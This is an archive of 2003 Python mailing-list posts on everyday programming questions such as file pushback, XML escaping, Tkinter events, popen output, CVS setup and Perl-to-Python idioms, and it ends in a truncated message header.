Emacs is always the answer....

--------------------------------------------------------
Come see,
real flowers
of this pain-filled world.

(from Basho)



From max at alcyone.com  Fri Jan 31 08:15:59 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 31 Jan 2003 05:15:59 -0800
Subject: ungetc in python
References: <slrnb3kntm.177.scott@debian.fenton.baltimore.md.us>
Message-ID: <3E3A770F.1BF8FDEF@alcyone.com>

Scott Fenton wrote:

> Hello. I was wondering if anyone knew if there was
> an equivilant of ungetc in Python. I Googled for it
> and didn't find anything, and I need it for a parser
> I'm working on.

Not natively, though it would be quite straightforward to write your own
wrapper around a file object that implemented a pushback ability.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Don't ever get discouraged / There's always / A better day
\__/ TLC
    ZOE / http://www.alcyone.com/pyos/zoe/
 A simple Python OpenGL rendering engine.



From pyth at devel.trillke.net  Wed Jan  8 10:30:19 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Wed, 8 Jan 2003 16:30:19 +0100
Subject: no side effects
In-Reply-To: <3E1C3F27.1080009@v.loewis.de>; from martin@v.loewis.de on Wed, Jan 08, 2003 at 04:09:27PM +0100
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com> <mailman.1042033754.17715.python-list@python.org> <avhbmr$7ib$06$1@news.t-online.com> <20030108160031.C349@prim.han.de> <3E1C3F27.1080009@v.loewis.de>
Message-ID: <20030108163019.D349@prim.han.de>

"Martin v. L?wis" wrote:
> holger krekel wrote:
> > 'i' might not be local but usually it is.  When answering 
> > newcomer questions i try to refrain from talking in language
> > lawyer details (as much as possible).  I only tried to explain the 
> > for-loop from the viewpoint of names bound to objects.  I didn't 
> > want to compare iteration protocols between python and C++ just 
> > to explain that. 
> 
> I'm uncertain though whether an actually incorrect explanation helps the 
> newcomer.

Of course, it shouldn't be incorrect.  I don't think i actually was. 

> Namespaces are totally irrelevant for this feature of the for loop.

Depends on your background.  *If* somebody e.g. thinks that 

    for i in range(3):
        print i
        i = 3

is somewhat equivalent to C's

    int i;
    for (i=0 ; i<3 ; i++) {
        printf("%d\n", i);
        i = 3;
    }

then IMHO my explanation serves well and talking about underlying 
iterator protocols wouldn't help too much.  

Why is the way the python for-loop gets to the next *value* 
more important than understanding that python works with 
name-object bindings everywhere?  And what is so wrong 
about this (*)? 

slightly irritated,

    holger


(*) see http://www.python.org/dev/doc/devel/ref/naming.html
    for further details. 





From adalke at mindspring.com  Sat Jan 11 12:49:09 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 11 Jan 2003 10:49:09 -0700
Subject: escaping illegal characters in XML
In-Reply-To: <b03e80d.0301110516.439825f0@posting.google.com>
References: <b03e80d.0301110516.439825f0@posting.google.com>
Message-ID: <avplsu$8hq$1@slb9.atl.mindspring.net>

Sandy Norton wrote:
> What's the most robust way to escape illegal characters when outputing
> XML using the python standard library (or PyXML)?
> 
> Context:
> 
> I've written a websucker that extracts links and urls from various
> news sites using "from xml.sax.saxutils import escape" to do my
> escaping and then writing out the xml file using xml.dom.minidom.
> Unfortunately, I still get illegal characters embedded in the results.

What kind of illegal characters?  'escape' will convert '&', '<' and
'>' characters.  But if you need them that likely means you are
writing the raw input text to XML.  Are you handling the character
set correctly?  That is, are you converting the output text to UTF-8
or specifing the XML character set correctly?

					Andrew
					dalke at dalkescientific.com





From paoloinvernizzi at dmsware.com  Tue Jan 28 03:03:00 2003
From: paoloinvernizzi at dmsware.com (Paolo Invernizzi)
Date: Tue, 28 Jan 2003 08:03:00 GMT
Subject: Please Recommend a C compiler for use with Python.
In-Reply-To: <m3n0lmv3ce.fsf@mira.informatik.hu-berlin.de>
References: <3E35513E.6D5CE8B5@lvcm.com> <mailman.1043682834.15953.python-list@python.org> <b13r58$82q$04$2@news.t-online.com> <3e357d30$0$49104$e4fe514c@news.xs4all.nl> <m3n0lmv3ce.fsf@mira.informatik.hu-berlin.de>
Message-ID: <UOqZ9.54545$YG2.1564840@twister1.libero.it>

> Python 2.3 will, AFAIK. For Python 2.2, there were some issues
> (e.g. header files that Microsoft removed from the compiler); I'm
> unsure whether they were resolved before 2.2.2.

I tried when Python 2.2.2 was released. It does not compile with VC++7 
out-of-the-box (header and EXPORT problems...)

Paolo Invernizzi




From roy at panix.com  Thu Jan  2 15:06:09 2003
From: roy at panix.com (Roy Smith)
Date: 2 Jan 2003 15:06:09 -0500
Subject: Cube Roots
References: <av24ff$qe3$1@ns2.gonzaga.edu>
Message-ID: <av263h$7t5$1@panix2.panix.com>

John Smith <someone at microsoft.com> wrote:
> How does one take a root higher than square roots in Python?  Can I take the
> cube root of a number?

Same way you would in almost any language.  The Nth root of a number
is the number to the 1/Nth power, so:

import math
math.pow (x, 1.0/y)

or, if you wanted to be somewhat silly, math.pow (x, math.pow (y, -1))
:-)




From wweexxsseessssaa at telusplanet.net  Fri Jan 17 20:10:47 2003
From: wweexxsseessssaa at telusplanet.net (John Hall)
Date: Sat, 18 Jan 2003 01:10:47 GMT
Subject: Towards a Python machine?
Message-ID: <r3ah2vct96fthj6s6iq1albk9vbap48nsk@4ax.com>

Here 

http://www.osnews.com/story.php?news_id=2548

is a short article about commonalities between OSs and programming
languages (perl Python & Ruby), and ruminations about a
[your-language] ahrdware implementation.

Years ago there was talk (isn't there always?) about Forth-on-a-chip
or was that Forth-in-a-box? Did it come to anything?

-- 
John W Hall <wweexxsseessssaa at telusplanet.net>
Calgary, Alberta, Canada.
"Helping People Prosper in the Information Age"



From maxm at mxm.dk  Fri Jan 31 04:58:00 2003
From: maxm at mxm.dk (Max M)
Date: Fri, 31 Jan 2003 10:58:00 +0100
Subject: In continuing of my question...
In-Reply-To: <b1dgcq$1iss$1@bull.east.ru>
References: <f918ac11.0301300759.4ac814bc@posting.google.com> <3a2j3vk8qgtqrm0mfrlvahfcl0pso5cf6r@4ax.com> <b1d6cq$175p$1@bull.east.ru> <mailman.1043997238.14292.python-list@python.org> <b1dgcq$1iss$1@bull.east.ru>
Message-ID: <EKr_9.48894$Hl6.6194298@news010.worldonline.dk>

Nicolay Vasiliev wrote:

> I meant this. Does Python have such possibility at all?


Wich possibility? What do you mean by reporting?

You must be precise and more specific. We cannot read inside your head, 
only the words in your post.

Please explain "reporting" in so much detail that someone as stupid as 
me can understand it.


-- 

hilsen/regards Max M Rasmussen, Denmark

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From ykingma at accessforall.nl  Sat Jan 25 07:34:31 2003
From: ykingma at accessforall.nl (Ype Kingma)
Date: Sat, 25 Jan 2003 13:34:31 +0100
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rukc$ukidj$1@hades.rz.uni-sb.de> <b0ss8g$20c$05$2@news.t-online.com> <7xsmvhq2bc.fsf@ruckus.brouhaha.com>
Message-ID: <3e328a81$0$150$e4fe514c@dreader7.news.xs4all.nl>

Paul Rubin wrote:

> "Martin v. L?wis" <martin at v.loewis.de> writes:
>> > so, what about a new PEP : extend the exec method by limiting
>> > the execution time and memory usage ...
>> 
>> That PEP would have to come with a suggested implementation strategy.
> 
> Neither seems terribly difficult; just have the interpreter keep track
> of how much time and memory have been consumed.  CPU time may be hard
> to measure on a per-thread basis, but certainly it can count byte
> codes executed, which should be enough for the purpose.

And how would calls to eg. C (CPython) or Java (Jython) code be handled?

-- 
email at xs4all.nl



From tundra at tundraware.com  Wed Jan  8 20:20:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 09 Jan 2003 01:20:07 GMT
Subject: tkinker:Simulating GUI Button Press
In-Reply-To: <mailman.1042073537.24002.python-list@python.org>
References: <q0giva.1hg.ln@boundary.tundraware.com> <mailman.1042073537.24002.python-list@python.org>
Message-ID: <9hiiva.r0h.ln@boundary.tundraware.com>

Jeff Epler wrote:
> On Thu, Jan 09, 2003 at 12:40:07AM +0000, Tim Daneliuk wrote:
> 
>>Is there a way to programmatically generate the event that acts like
>>CmdBtn or DirBtn have been pressed?  I am familiar with keyboard events,
>>but cannot seem to figure out how to activate a Menubutton element as if
>>it has been clicked by the user...
> 
> 
> These classes have an 'invoke' method:
>     Button  Checkbutton  Menu  Radiobutton
> 
> For whatever reason, Menubutton doesn't (and if you read the Tcl
> procedures called by the builtin bindings, they operate by calling
> internal Tk procedures, and depend on the type of OS where your program
> is running, in the name of "native feel").  However, the tk_popup method
> (on menu widgets) can be used to post a menu at the desired position.
> It does not handle mouse/keyboard grab entirely like clicking a
> menubutton, though.
> 
> Jeff
> 

I was afraid of that (I had discovered much of what you say before posting
here).  I guess its back to doing pixel arithmetic to get the menus placed
properly.

The only reason I even need to do this is because Tkinter does not seem
to automatically create Accelerator keys for these buttons on Win32 like it
does on X.  If I could solve *that* problem, I wouldn't have to fiddle with
synthesizing button pushes.   Sigh...

Thanks for your help.

-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From lac at strakt.com  Thu Jan  9 10:01:39 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 09 Jan 2003 16:01:39 +0100
Subject: Do pythons like sugar? 
In-Reply-To: Message from Andrew Dalke <adalke@mindspring.com> 
   of "Thu, 09 Jan 2003 03:25:41 MST." <avjj5d$8cn$1@slb3.atl.mindspring.net> 
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> 
Message-ID: <200301091501.h09F1djL013812@ratthing-b246.strakt.com>

Ben Leslie wanted to know the difference between 'clever' and 'wise'.

Andrew Dalke wrote:
> Afanasiy wrote:
> >>A few languages provide syntax sugar for dealing with
> >>this by allowing you to localize the class scope.
> >>
> >>Does Python? eg. `with self do:`
> 
> > So the answer is a definitive no? I want to do things as I have them,
> > I don't want to change my design just to be able to type 'self' less.
> 
> It's a definite no.  From previous accounts, said sugar is hiding
> rat poison.  It's advantages are slight to its disadvantages.  Eg,
> for your case it would have hid a poor implementation rather than
> yield a better one.
> 
> When I do a lot of "self." references it's mostly with a set of
> initializations.  In that case I just leave "self." in my paste
> buffer.
> 
> > Is there any tricky one-liner that brings object members in scope?
> 
> Yes but I won't tell.  You shouldn't use it.

Afanasiy is looking to be clever here.  Andrew Dalke doesn't think that
it is wise.

<snip>

Laura Creighton




From cnetzer at mail.arc.nasa.gov  Fri Jan 31 17:50:31 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: 31 Jan 2003 14:50:31 -0800
Subject: Syntax checking python...
In-Reply-To: <jpsl3vcbb4tlv97l7bi2319238hkl3rdol@4ax.com>
References: <jpsl3vcbb4tlv97l7bi2319238hkl3rdol@4ax.com>
Message-ID: <1044053431.1119.46.camel@sayge.arc.nasa.gov>

On Fri, 2003-01-31 at 14:05, Afanasiy wrote:
> In other languages, I can receive syntax errors without the script having
> to execute.

This is (presumably) an IDE issue.  It is not a feature of the language,
but of the development tools.  Am I correct?

I suppose such a feature could be made to work in IDLE (to some
extent).  Maybe it already exists.  But it amounts to the computer
running your script in the background and looking for errors.  I don't
use IDLE, but perhaps someone else who does knows more about this kind
of feature.

Unless you are just talking about keyword typos, in which case emacs
(and probably Vim) will highlight the keywords for you.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)






From nospam at bigfoot.com  Tue Jan 28 13:37:06 2003
From: nospam at bigfoot.com (Gillou)
Date: Tue, 28 Jan 2003 19:37:06 +0100
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com>
Message-ID: <b16hu8$b4$1@norfair.nerim.net>

"Eric Mattes" <ericmattes at yahoo.com> a ?crit dans le message de news:
fd5aa35c.0301280922.a952dc7 at posting.google.com...
> Hi.
>
> I'd like to know if anyone knows a way to write a python program that
> can be interfaced with through a web browser. I've been investigating
> some GUIs and although I've written a prototype GUI in Tkinter, it
> lacks personality. I'd like to make a nice GUI using HTML. Has anyone
> done anything like this before? If so, how? Would it involve
> embedding/using BaseHTTPServer? Ideally this would run on both Windows
> and Mac OS.
>
> Any ideas? Thanks!
> -E

You can make small servers using BaseHTTPServer and BaseCGIServer.
If your app is quite complex, you should consider using a real framework :

* Twisted Matrix
* Medusa
* Zope
* others : see http://phaseit.net/claird/comp.lang.python/web_python.html

--Gilles






From nospam at earthlink.net  Wed Jan  8 07:29:49 2003
From: nospam at earthlink.net (taocairns)
Date: Wed, 08 Jan 2003 12:29:49 GMT
Subject: Source Forge CVS
In-Reply-To: <u1gjj0yx.fsf@python.net>
References: <8amcnSAFceW664qjXTWcpQ@comcast.com> <d571ae53.0301050835.792a1826@posting.google.com> <mailman.1042023378.24765.python-list@python.org> <u1gjj0yx.fsf@python.net>
Message-ID: <3E1C1A38.2060103@earthlink.net>

If you have Java on your machine then I can recommend the Java CVS GUI. 
It's at www.jcvs.org

Thomas Heller wrote:
> "Donnal Walter" <donnalcwalter at yahoo.com> writes:
> 
> 
>>"Jonathan Ellis" <ellisjb at my-deja.com> wrote:
>>
>>>"Justin Shaw" <wyojustin at hotmail.com> wrote:
>>>
>>>>I have a project set up on source forge, SpellQuest,  I need to
>>>>set up the CVS repository.  Can someone tell me how to do it
>>>>from Windows or Linux. The Sourceforge how to tells you to "log
>>>>into the CVS server"  what is that? Is it different from
>>>>spellquest.sf.net?  I'd appreciate the set by step commands if
>>>>anyone can fill them in for me.
>>>
>>>kind of a meta-answer: the best cvs front-end for windows (or linux,
>>>for that matter) is smartcvs.  the free version is quite good, and if
>>>you want the extra features in the payware version it's quite
>>>affordable.
>>
>>I am in much the same boat as Justin. Generally I am pretty adept at
>>figuring things out for myself, but somehow I am missing one or two crucial
>>steps. Part of the problem is that all the instructions seem to be written
>>for Unix users and for the moment at least I am stuck with Windows.
>>
>>So, I downloaded smartcvs and ran the setup. It looks like it is exactly
>>what I need, but again, I can't quite get it to connect with my project on
>>SF. Here is my first specific question. Does smartcvs have all I need to
>>make this connection, or do I need to download some kind of SSH support as
>>well? Thanks.
> 
> 
> I don't know anything about smartcvs, but here are instructions
> how to set up "cmdline CVS using SSH under Windows":
> 
> http://www.python.org/dev/devfaq.html#windows
> 
> They worked for me.
> 
> Thomas




From yaipa at yahoo.com  Mon Jan  6 03:07:00 2003
From: yaipa at yahoo.com (yaipa h.)
Date: 6 Jan 2003 00:07:00 -0800
Subject: Design By Contract in Python 2.4
References: <pO6S9.113295$6H6.3803900@twister.austin.rr.com>
Message-ID: <6e07b825.0301060006.59b7c69@posting.google.com>

Kevin,

You can always brew your own. See,
   http://aspn.activestate.com/ASPN/Cookbook/Python

Python Cookbook -- Using introspection to verify Eiffel 
like contracts (by S?bastien Keim) 
  This sample show how you can use intospection to create a 
  function wraper that verify Eiffel like ...

Python Cookbook -- eiffelmethod (by Andres Tuells) 
  An eiffel like method, with preconditions and 
  postconditions, in python2.2  

yaipa.h


"Kevin Ethridge" <kevinethridge at yahoo.com> wrote in message news:<pO6S9.113295$6H6.3803900 at twister.austin.rr.com>...
> Just kidding :)
> Does anybody know if there are any plans for 'Eiffel style' DBC in Python?
> 
> Kevin



From letezo at fw.hu  Wed Jan 29 09:23:52 2003
From: letezo at fw.hu (=?iso-8859-1?B?TOl0ZXr1?=)
Date: Wed, 29 Jan 2003 15:23:52 +0100
Subject: GUI is it possible with mod_python ?
Message-ID: <003c01c2c7a2$1abf76e0$8800a8c0@Sirius>

Hi!

> Yes I think,  but interact with the client. if that is realizable, would
> you have an example?

Possible solution is to use VPython ( http://vpython.org ) to generate the
scene, then export it as VRML:

http://www.andrew.cmu.edu/%7Emzk/vrmlexport

The client should be able to display and navigate the generated
virtual world.

You can find a VPython+VRML example in the page dedicated to the G0
detector:

http://www.andrew.cmu.edu/%7Emzk/vrmlexport/g0.py

Note, that VRML export does not support many features of VPython, so please
check the feature list.

Are you intended to show astrophysical data/objects this way?

 Best wishes,
Complex






From martin.schmettow at bibliothek.uni-regensburg.de  Fri Jan 10 05:20:47 2003
From: martin.schmettow at bibliothek.uni-regensburg.de (Martin Schmettow)
Date: Fri, 10 Jan 2003 11:20:47 +0100
Subject: XML and Python
In-Reply-To: <aj9q1v47i1pmjlrv2v3uhag3a301is0f3u@4ax.com>
References: <C6XS9.23024$eB1.1059867@twister.southeast.rr.com> <aj9q1v47i1pmjlrv2v3uhag3a301is0f3u@4ax.com>
Message-ID: <avm6mr$o31$1@rrzd1.rz.uni-regensburg.de>

Tim Roberts wrote:
> Paul Smith <nospam1 at acmecomm.net> wrote:
> 
>>Hi gang,
>>	I recently rediscovered Python, and I'm interested in using it for a 
>>project I'm embarking on. It involves a lot of XML/XSLT processing, and 
>>I'm trying to figure out which python XML module set/paradigm to 
>>concentrate on.
>>	Can anyone point me to a resource which compares and contrasts, and 
>>describes the interalationships between the many python XML packages out 
>>there? I've briefly looked through xmllib, 4Suite, libxml2, and PyXML, 
>>and found there's a lot of overlap and inbreeding. Anyone out there with 
>>experience using these various packages care to run down the 
>>virues/faults of each and balance ease-of-use vs. features?
> 
> 
> I _STRONGLY_ recommend that you invest in the book, "Python & XML" by
> Christopher Jones & Fred Drake.  I'm only half-way through, and it's
> already been worth the money.

Hi there.

I dont fully agree. It is a nice book if you want to start learning  XML 
stuff and doing basic things with Python. But it fails to reveal the 
internals of the many Python/XML implementations. Some examples from my 
recent troubles:

1. nearly no information is given on the different DOM-implementations 
(xml.dom,Minidom,Domlette), their differences and there interrelationship

2. the information on how to build a DOM tree from the scratch is very 
small and hard to find. I nearly ended up with
print "<"+ MyRootElement+">".

3. the chapter on embedded XSLT processing advises the xml.xslt 
processor. It took me have a day to discover that this implementation is 
  unusable at the moment. Use Ft.Xml.Xslt instead.

For my project I neeced DOM building and XSLT processing, maybe later 
XPath will join the show. I recommend using the 4Suite package 
(http://4suite.org/index.xhtml). You better don't mix different 
implementations.

Conclusion: Everything is there, but you'll have to find it and 
documentation is lousy.

CU
Martin.




From printf at hongkong.com  Fri Jan 17 09:38:31 2003
From: printf at hongkong.com (printf)
Date: Fri, 17 Jan 2003 22:38:31 +0800
Subject: thanks, it works now Re: it does not work again. Re: help!! getting
 output from another process line by line, using popen
In-Reply-To: <Xns93069C6BE98EELaocoon@62.153.159.134>
References: <b08ka1$q8l8@imsp212.netvigator.com> <Xns9306963ED78FFLaocoon@62.153.159.134> <b092m1$8vf11@imsp212.netvigator.com> <Xns93069C6BE98EELaocoon@62.153.159.134>
Message-ID: <b09490$8v32@imsp212.netvigator.com>

Lao Coon wrote:
> *snip*
> 
>>>This has something to do with the way the output is returned here..
>>>When you say "for line in handle" read() is called, it waits
>>>until everything has been received and then returns it as a list(only
>>>once). To fix it explicitly call readline() instead.
>>>
>>>HTH
>>>Lao
>>
>>if you mean that "handle = os.popen(cmd, 'r', 1).readlines()", it wont
>>work. it waits till finish running cmd, then go to the "for loop".
>>
>>thanks anyway
> 
> 
> No i think you misunderstood.. 
> 
> Here's the fixed monitor.py
> 
> ###
> import sys, string, os
> 
> handle = os.popen("python -u output.py", 'r')
> 
> while 1:
> 	line = handle.readline()
> 	if line == "": break
> 	print line,
> 
> handle.close()
> ###
> 
> Try this
> 
> Lao

Thanks Lao, it works.




From elechak at bigfoot.com  Wed Jan 29 18:31:59 2003
From: elechak at bigfoot.com (Erik Lechak)
Date: 29 Jan 2003 15:31:59 -0800
Subject: best way to do some simple tasks
Message-ID: <c42e062e.0301291531.6a656e4@posting.google.com>

Hello all,

I am transitioning from perl to python.  I find myself trying to do
many things in a perlish way.  Perl made many common tasks such as
string manipulations easy (in a perlish sort of way).  So I was
wondering if someone could suggest the "pythonish" way of doing these
things.  I have read tons of documentation and can do all of the
following tasks, but my code does not look "professional".


1) String interpolation of lists and dictionaries
   What is the correct and best way to do this?
   x =[1,2,3,4]
   print "%(x[2])i blah" % vars() # <- does not work

2) Perform a method on each element of an array
   a= ["  hello  ",  "  there  "]
   
   how do I use the string's strip() method on each element of the
list?
   
   a = map((lambda s: s.strip()), a) # looks ugly to me
   
   for e in a:                       # this looks even worse
      temp.append(e.strip())
   a=temp

3) What is the best way to do this?

   a=[1,2,3]
   b=[1,1,1]
   
   how do I get c=a+b (c=[2,3,4])?

   If I wanted to use reduce(), how do I shuffle the lists? 

4) Why does this work this way?
   d=[1,2,3,4,5]
   for h in d:
      h+=1
   print d
   >>>[1, 2, 3, 4, 5]
   
   Is there a python reason why h is a copy not a reference to the
element in the list?  In perl the h would be a ref.  If d was a tuple
I could understand it  working this way.

 
Thanks,
Erik



From tim.one at comcast.net  Tue Jan 14 21:54:53 2003
From: tim.one at comcast.net (Tim Peters)
Date: Tue, 14 Jan 2003 21:54:53 -0500
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <3E24C597.4FD00521@alcyone.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEJKDIAB.tim.one@comcast.net>

[Mike C. Fletcher]
> Okay, thanks all.  I'm thinking I'll have to find a way to blackmail
> the board (or at least Tim) into not suing me :) .

[Erik Max Francis]
> At this point I'd say either secure written permission or take a pass on
> the idea.

I wouldn't <wink>.  Mike got a public statement from a PSF director (me)
that he thinks Mike's use is fine.  Anything beyond that is going to drag
lawyers and expense into it, not to mention non-existent "spare time" from
other PSF directors to bother with it.  If Mike is still uncomfortable, he
can make a formal request to the PSF board, and fritter away more of his
time worrying about a non-issue too.  Note this point in the PSF's mission
statement:

    http://www.python.org/psf/mission.html

    + Establishes PSF licenses, ensuring the rights of the public to
      freely obtain, use, redistribute, and modify intellectual property
      held by the PSF.

Copyrights are among the kinds of "intellectual property" the PSF holds, and
everything in the Python distro under the PSF copyright is covered by the
PSF license.  So long as Mike doesn't violate the license, he doesn't even
need to ask permission -- the PSF license explicitly grants him permission
to use, redistribute (and etc) the intellectual property held by the PSF.
So if Mike pushes this, the advice we'll pay our lawyers to give him is that
he pay his lawyer to give him advice on whether he's conforming to the terms
of the PSF license.  If Mike doesn't push this, he can use the icons in
peace and nobody will complain.

win-win-or-lose-lose-it's-a-tough-decision<0.9-wink>-ly y'rs  - tim





From jbperez808 at yahoo.com  Sun Jan 19 20:17:36 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 19 Jan 2003 17:17:36 -0800
Subject: PEP 8 and properties
Message-ID: <f57664b9.0301191717.2fa584d5@posting.google.com>

>From PEP 8:

Designing for inheritance

  ...  It's almost always preferrable to give a 
  functional interface to your class instead (and 
  some Python 2.2 developments will make this 
  much nicer)...

Do properties (what I believe is being referred to
by the phrase 'some Python 2.2 developments') count
as a functional interface?  Their usage is identical
to public variables/attributes, so I have to disagree.
    
I have yet to be fully convinced that accessor 
functions (and now, properties) are a good
abstraction.  I'm very uncomfortable about the 
idea of properties allowing side effects.  I
can't help but feel that they are yet another 
addition to that mess of conceptual kludges known 
as OOP.  OOP seems to have much less of a solid
theoretical foundation than the relational or
functional models and it shows in all the annoying
complexity you see in most OOP languages.  I
wonder if studying Smalltalk can yield some OOP
wisdom.  OOP was originally only about message
passing between objects, but it has strayed from 
the path of its (purported) initial simplicity.
( guess who/which language is to blame ;-) )

I believe that Python's language design is such 
that direct usage of 'public variables' is 
not a bad practice at all.  I'm currently building
a fairly complex class library and should be in a 
position to prove or disprove this to myself.



From rrichardson at eti-main.enabletech.com  Wed Jan  8 17:36:14 2003
From: rrichardson at eti-main.enabletech.com (Rick Richardson)
Date: Wed, 8 Jan 2003 14:36:14 -0800 
Subject: GUI speed
Message-ID: <A7E67E8DB535D411ADC8009027F6449B49637B@ETI-MAIN>

I'm currently reviewing technologies for a large, gui intensive application.
We're planning on having a template driven dynamic gui system, but having
written Java gui's in the past I'm concerned that python may share java's
affliction and be slower than molassses in January.
 
Can anyone out there comment on the relative speed of Java's gui libs and
any one of the python gui libs?


Rick Richardson  x1810

Quidquid latine dictum sit, altum videtur.
[Anything said in Latin sounds profound.]





From mwm at mired.org  Tue Jan  7 10:13:28 2003
From: mwm at mired.org (Mike Meyer)
Date: 07 Jan 2003 09:13:28 -0600
Subject: Fast CGI with Python on UNIX and alternatives
References: <mailman.1041871796.10173.python-list@python.org> <65nk1vc7h737p1qubm1n1mmj2st5trashh@4ax.com>
Message-ID: <x78yxxyovb.fsf@guru.mired.org>

Tim Roberts <timr at probo.com> writes:
> >Finally, I read in some articles that using <table> tags to format HTML
> >output is old-fashioned and that we should go over to CSS.
> Someday that will be true.  For now, any kind of tricky CSS does not work
> on a fair number of browsers.

As opposed to any kind of tricky table layout, which won't work on a
fair number of browsers. The claim that the author controls the layout
of the HTML is a myth. CSS tends to be more readable when it fails. It
also gives the user more control than tables. Both of these are
reasons to prefer CSS.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From adalke at mindspring.com  Thu Jan  2 15:43:04 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 02 Jan 2003 13:43:04 -0700
Subject: HTMLParser and Quotes
In-Reply-To: <av1bne$jho@newton.cc.rl.ac.uk>
References: <qpj71v0as06msdmoj6nep17dptnvtqlml6@4ax.com> <av1bne$jho@newton.cc.rl.ac.uk>
Message-ID: <av28ms$893$1@slb6.atl.mindspring.net>

Richard Brodie:
> HTMLParser is a fairly straightforward parser: it mostly follows the SGML
> syntax rules. That means that it is of little use for most of the HTML out on
> the web. Whilst an DWIM parser might be useful, it could get out of hand,
> and I'm fairly happy that the standard library one stops on the first error.
> In a few years the XML ones will error anyway.

In the meanwhile, you can use something like HTML Tidy
   http://tidy.sourceforge.net/
and  Marc-Andr? Lemburg Python interface to it, mxTidy
   http://www.lemburg.com/files/python/mxTidy.html
to clean up input HTML, like this

 >>> from mx import Tidy
 >>> from HTMLParser import HTMLParser
 >>> text = """<html>
... <body>
... <font face=arial,helvetica>test</font>
... </body>
... </html>"""
 >>>
 >>> print Tidy.Tidy.tidy(text)[2]
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<font face="arial,helvetica">test</font>
</body>
</html>

 >>>
 >>> x = HTMLParser()

					Andrew
					dalke at dalkescientific.com




From Simon.Wittber at perth.maptek.com.au  Thu Jan  9 02:06:19 2003
From: Simon.Wittber at perth.maptek.com.au (Simon Wittber (Maptek))
Date: Thu, 9 Jan 2003 15:06:19 +0800
Subject: Do pythons like sugar?
Message-ID: <10F0E58C0018054484E329DC494C4D7F01ADDD@mexper1.maptek.net.au>

>Does Python? eg. `with self do:`

Nope. However, you could perhaps rewrite this function to be slighty
more readable and faster. (See below)

>  def format( self, width=80 ):    
>    self.lines = ['']
>    i = 0
>    for word in self.text.split():  
>      if self.textwidth(self.lines[i]) + self.textwidth(word) <= width:
>        if self.textwidth(self.lines[i]) > 0:
>          self.lines[i] += ' '
>        self.lines[i] += word
>      else:
>        i += 1
>        self.lines.append(word)


    def format(self, width=80):    
        lines = ['']
        i = 0
        for word in self.text.split():  
            if self.textwidth(lines[i]) + self.textwidth(word) <= width:
                if self.textwidth(lines[i]) > 0:
                    lines[i] += ' '
                lines[i] += word
            else:
                i += 1
                lines.append(word)

        self.lines = lines

This avoids a few references to self, which looks better, and is slighty
faster too!

Simon.




From llewelly.at at xmission.dot.com  Tue Jan  7 17:39:09 2003
From: llewelly.at at xmission.dot.com (llewelly)
Date: 07 Jan 2003 15:39:09 -0700
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <VfDS9.4230$Fj2.2514015@news2.news.adelphia.net> <3E1B0550.4A06B801@engcorp.com>
Message-ID: <86of6sshyq.fsf@Zorthluthik.foo>

Peter Hansen <peter at engcorp.com> writes:

> Robert Oschler wrote:
> > 
> > I can't look at dice.com anymore, too depressing.  Some appx stats:
> > 
> > Date    C++ jobs    Java jobs
> > 
> > 3/2000    42000    31000
> > 10/2003    2200    2800
> > 
> > That's right, almost a 20 to 1 loss of job reqs in C++, and 10 to 1 in Java.
> > Also note, Java is now in the lead over C++
> > 
> > I hate the dot-bust.
> 
> Maybe these stats say more about dice.com itself than about the 
> state of the economy.  Are the numbers reflected in other sites?
> Or is dice.com *the* place to go, so we can take it as representative?
*shrug*

Of all the software development jobs I've had, *none* appeared on
    dice.com.

And I've used perl at every software development job I've had, though
    none of them listed perl as a requirement, or even as a desirable
    skill.




From jacek.generowicz at cern.ch  Wed Jan  1 08:33:36 2003
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 01 Jan 2003 14:33:36 +0100
Subject: HELP! Must choose language!
References: <20021229230751.24148.00000389@mb-bj.aol.com> <yyyk7hrikh9.fsf@adams.patriot.net> <87lm27xw6g.fsf@gvdnet.dk> <yyyy967gzdy.fsf@adams.patriot.net> <auq9fi$l7u$1@baldur.whoi.edu> <yyyhecvgrtl.fsf@adams.patriot.net> <auqes4$n1m$1@baldur.whoi.edu>
Message-ID: <tyfsmwdm1u7.fsf@lxplus049.cern.ch>

"Karl A. Krueger" <kkrueger at example.edu> writes:

> Nick Vargish <nav at adams.patriot.net> wrote:

[snip]

> > FORTH

> I don't remember a word of it.

LOL!

(You didn't put a smiley, but I assume the joke was intentional.)



From frobozz_electric at hotmail.com  Fri Jan 24 18:14:53 2003
From: frobozz_electric at hotmail.com (Sean Ross)
Date: Fri, 24 Jan 2003 18:14:53 -0500
Subject: (test?return_true:return_false)
References: <mailman.1043336848.6443.python-list@python.org> <1d4cf4c3.0301231155.f8bc70b@posting.google.com> <3E3087AF.DB0D06CB@alcyone.com> <slrnb32738.5jj.rmunn@localhost.localdomain>
